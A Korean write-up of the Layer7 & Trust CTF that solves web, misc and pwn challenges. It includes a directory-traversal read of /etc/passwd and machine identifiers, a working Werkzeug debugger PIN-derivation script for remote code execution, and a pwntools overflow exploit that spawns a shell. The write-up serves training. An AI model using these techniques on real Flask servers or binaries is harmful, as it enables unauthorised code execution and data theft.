[CTF] Layer7 & Trust CTF WriteUp
Layer7 & Trust CTF
순위: 8위
Misc - Sanity Check [50]
nc 명령어를 통해 주어진 서버로 접속해보았다.
FLAG : L7TR{this_is_nc(wikipedia.org/wiki/Netcat)}
Web - Unexploitable [50]
문제에 제시된 URL로 접속해보았다.
해당 URL에서 저 문구 하나밖에 발견할 수가 없어서 당황 좀 했다.
app.py를 열어보니
from flask import Flask
app = Flask(__name__)
@app.route('/')
def main():
return 'sorry this challenge is unexploitable zzlol'
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=3982)
이 코드에서 발견할 수 있는 취약점이 뭐가 있을지 한참을 삽질하다가 발견하게된 취약점.
flask 모듈에서 사용되는 debug=True 옵션은
PIN을 주고 웹 상에서 대화형 디버깅 콘솔을 실행시켜 직접 코드작업을 할 수 있도록 돕는 기능을 한다.
console 접근 방법은 http://<host_domain or host_ip>:<port>/console
따라서 위 문제에서 주어진 ooooo.pw:4001/console 로 접근했다.
이 디버거엔 PIN 이 설정되어있지 않아서 바로 console 명령어(python 언어)가 사용 가능했다.
바로 os 모듈을 import 해서 flag 파일을 열었다.
FLAG : L7TR{zzlol}
Web - Unexploitable Revenge [125]
이전 문제 심화버전이다. 주어진 app.py 코드를 확인해보니 여전히 flask 디버거가 활성화 되어있었다.
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def main():
return '''
<a href="show?club=layer7.html">Layer7</a>
<br>
<a href="show?club=trust.html">Trust</a>
'''
@app.route('/show')
def show_club():
fn = request.args.get('club')
path = '/home/unexploitable/' + fn
return open(path, 'r').read()
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=3982)
코드 분석 결과, http://ooooo.pw:4002/show URL에서 club이라는 파라미터를 받아서
파일 내용을 읽어주는 기능을 하고있다.
a 태그를 눌러보면
이런 문구와 함께 URL 부분에 경로가 추가된다.
주어진 파이썬 코드에서 현재 경로가 /home/unexploitable 이라고 제시되어있으므로
Directory Traversal 을 시도해보았다.
가장 만만한 /etc/passwd 파일에 접근이 가능했다.
이전 문제였던 Unexploitable 에선 URL + console 로 접속하면 콘솔창이 열렸다.
하지만 이번 문제에선 PIN번호가 필요했다.
엄청난 삽질 끝에 PIN번호를 Leak 할 수 있다는 것을 발견하게 되었다.
이 코드를 직접 짜기 위해선(이해하기 위해선) PIN 이 생성되는 파일의 위치를 알아야 한다.
/usr/local/lib/python3.8/site-packages/werkzeug/debug/__init__.py 파일을 참고해보자.
(버전마다 위치가 약간 다름)
에러가 뜬다. 이런 파일을 찾을 수 없다고 한다.
에러 내용을 훑어보다보니 경로가 대충 나와있었다.
파이썬의 버전은 2.7이고,
flask 가 위치한 경로는 /usr/local/lib/python2.7/dist-pakages/flask/app.py
따라서 __init__.py 파일의 위치는 /usr/local/lib/python2.7/dist-packages/werkzeug/debug/__init__.py
라고 유추할 수 있다. 해당 경로로 접속하게 되면
__init__파일을 볼 수 있고, PIN 번호를 만드는 코드를 확인 할 수 있다.
코드를 분석하고 flask 디버거의 PIN을 Leak 시키는 exploit 코드를 작성해보았다.
(PIN을 생성하는 코드를 서칭하며 찾을 수 있었다.)
해당 문제 웹서버에서 정보를 몇가지 탈취해야 한다.
1. flask 를 실행시킨 username (/etc/passwd or /etc/group 으로 유추 가능)
2. python 버전마다 위치가 다른 flask 메인 app.py 파일 ( getattr(mod, '__file__', None) 함수를 통해 확인 가능)
( 보통 아까 에러 발생 시 표시되던 경로 : /usr/local/lib/python2.7/dist-pakages/flask/app.py )
3. 웹서버의 MAC 주소를 int형으로 변환한 값 ( /sys/class/net/<네트워크 디바이스 명>/address )
( 디바이스 번호 확인법 : /proc/net/arp 파일 내용 확인 )
4. machine-id + /proc/self/cgroup을 '/' 문자로 나눴을 때 index 2번째에 위치한 값
( machine-id : /etc/machine-id or /proc/sys/kernel/random/boot_id )
하나하나 찾아보도록 하자
< username >
아까 app.py 내 코드에서 show?club= 으로 파일을 읽어들일 때 기본 경로가 /home/unexploitable 이였으므로
username : unexploitable
< flask 폴더 내에 app.py 파일>
에러 발생시킬 때 나왔던 경로 : /usr/local/lib/python2.7/dist-pakages/flask/app.py
< 웹서버의 MAC 주소 >
/proc/net/arp
/sys/class/net/<네트워크 디바이스명(eth0)>/address
MAC 주소 : 02:42:c0:a8:f0:02
< machine-id + cgroup.split('/')[2] >
machine-id : b2680e69-36a5-4598-b8cb-021a1c97fd8b
cgroup.split('/')[2] : 7d77a34c379f56e3b048c88db8bfed5015c72fcb13b468fac35ad31ec3887246
이러한 정보로 작성한 exploit 코드
import hashlib
from itertools import chain
probably_public_bits = [
'unexploitable', # username
'flask.app', # modname 고정
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__')) 고정
'/usr/local/lib/python2.7/dist-packages/flask/app.py' # getattr(mod, '__file__', None)
# python 버전 마다 위치 다름
]
private_bits = [
'2485723394050', # MAC주소를 int형으로 변환한 값,
'b2680e69-36a5-4598-b8cb-021a1c97fd8b'+'7d77a34c379f56e3b048c88db8bfed5015c72fcb13b468fac35ad31ec3887246' # get_machine_id()
# machine-id + cgroup.split('/')[2]
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
실행결과 :
이렇게 해서 PIN을 Leak 할 수 있고 나머지는 이전 문제와 동일하게 풀면 된다
FLAG : L7TR{i_didnt_know_this_was_in_dreamhack}
Misc - padding [50]
제시된 padding.py를 열어보았다.
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-
import sys
FLAG = open('./flag', 'r').read()
MENU = '''1. base64 encode
2. base64 decode
>> '''
def send(msg):
sys.stdout.write(msg)
sys.stdout.flush()
def menu():
send(MENU)
return int(raw_input())
def myEncode():
send('Msg : ')
msg = raw_input()
enc = msg.encode('base64').strip()
send('Encoded : ' + enc + '\n\n')
def myDecode():
send('Encoded : ')
enc = raw_input()
msg = enc.decode('base64')
send('Msg : ' + msg + '\n\n')
new_enc = msg.encode('base64').strip()
if len(enc) != len(new_enc):
send(FLAG+'\n')
sys.exit(0)
if __name__ == '__main__':
while True:
opt = menu()
if opt == 1:
myEncode()
elif opt == 2:
myDecode()
else:
send('Invalid Option\n\n')
base64 encoding 되어있는 값 사이에 띄어쓰기 넣어주고
디코드 시키면 풀리는 문제였다.
FLAG : L7TR{hope_you_understand_the_padding_now_:D}
Misc - 플래그 뿌리는 문제 [50]
아무것도 주어져 있지 않았지만 Chrome 개발자 도구를 이용하면
display:none 으로 숨겨진 태그의 내용이 보인다
FLAG : L7TR{HIDDEN_FLAG!}
Misc - Calc [50]
nc ooooo.pw 40003 접속해보았다
수학 문제가 10개 나와서 그냥 풀어도 되지만 실력 향상을 위해 코드를 짰다
from pwn import *
p = remote("ooooo.pw",40003)
print(p.recvuntil("!!\n"))
while(True):
templist = p.recvrepeat(0.5).decode('utf-8').split(' ')
print(templist)
if len(templist) == 3:
if templist[1] == '+':
temp = float(templist[0]) + float(templist[2])
elif templist[1] == '-':
temp = float(templist[0]) - float(templist[2])
elif templist[1] == '*':
temp = float(templist[0]) * float(templist[2])
elif templist[1] == '/':
temp = float(templist[0]) / float(templist[2])
elif templist[1] == '%':
temp = 0
if temp > 0 and float(temp).is_integer():
print(int(float(temp)))
p.sendline(str(int(float(temp))))
else:
print('x')
p.sendline('x')
else:
break
print(temp)
p.interactive()
FLAG : L7TF{%_IS_NOT_FOUR_FUNDAMENTAL_ARITHMETIC_OPERATOR_ZzzZZZZZ}
Misc - TRUST [75]
문제에 첨부된 docx 파일을 열어보았다.
하단에 제시되어있는 플래그를 입력했지만 Incorrect Answer 이였다.
docx 타입은 zip과 파일시그니처가 같아서 확장자를 .zip으로 바꿔 열어보았다.
TRUST.zip을 한번 더 압축풀었다.
ReadMe.txt 내용은 다음과 같다
일단 압축을 풀어 윈도우 검색기능을 사용하여 key.txt를 찾았다.
유튜브 주소에 접속해서 설명란에 있는 TRUST.png 로고를 발견해서 다운로드를 받았다.
HxD 라는 파일 분석 툴을 이용하여 png파일을 열고 세 가지 파일을 찾아냈다.
wav 파일을 열었더니 모스부호 소리가 나오기 시작했다.
모스부호 변환 사이트에 들어가, 변환시켰다.
사진 2장과 모스부호 번역을 합치면 플래그가 나온다.
FLAG : L7TR{N0W_Y0U_KN0W_TH3_TRUST}
Pwn - scanf [50]
주어진 파일 분석을 위해 ida-64bit 로 열었다.
8byte인 v7 변수를 부분부분 대입하여 값을 대입해놓고,
반복문을 통하여 무언가를 입력받고 있다.
peda gdb로 확인해보니 v7=0xDEADBEEF00006325 가 들어가게 되는데
0x6325가 확인해보니 %c였고, BYTE2(v7) = 0; 부분("\00" 추측) 때문에 문자열이 끊겨서
scanf("%c", &v5 + i); 이 된다고 생각했다.
그래서 for문을 통해 한글자씩 받아와, v5변수에 총 18자를 입력할 수 있도록 코드가 짜여있다.
그리고 마지막에 HIDWORD(v7)의 값이 0x13371337이 되면 win()함수를 호출해주는데
win() 함수에선 system("/bin/sh") 를 실행해준다.
%c로 입력을 받게 되면 총 18자밖에 입력받지 못하는데 v5부터 v7까지 덮으려면 16자가 필요하다.
그래서 v7의 LOWORD 부분을 %s(0x7325)로 변경해주고 HIDWORD 부분을 0x13371337 값으로 덮어주어 문제를 풀었다.
from pwn import *
p = process('./scanf')
temp = 'a' * 16
temp += '\x25\x73'
pay = 'bb'
pay += p64(0x13371337)
for i in temp:
p.recvrepeat(0.5)
p.sendline(i)
p.sendline(pay)
p.interactive()
%s (\x25\x73) 을 넣어 준 후에 'bb'를 넣어준 이유는
v7 안에 값 중 0000 부분을 메꾸기 위함이다.
FLAG : L7TR{scanf("%s",buf); is so dangerous}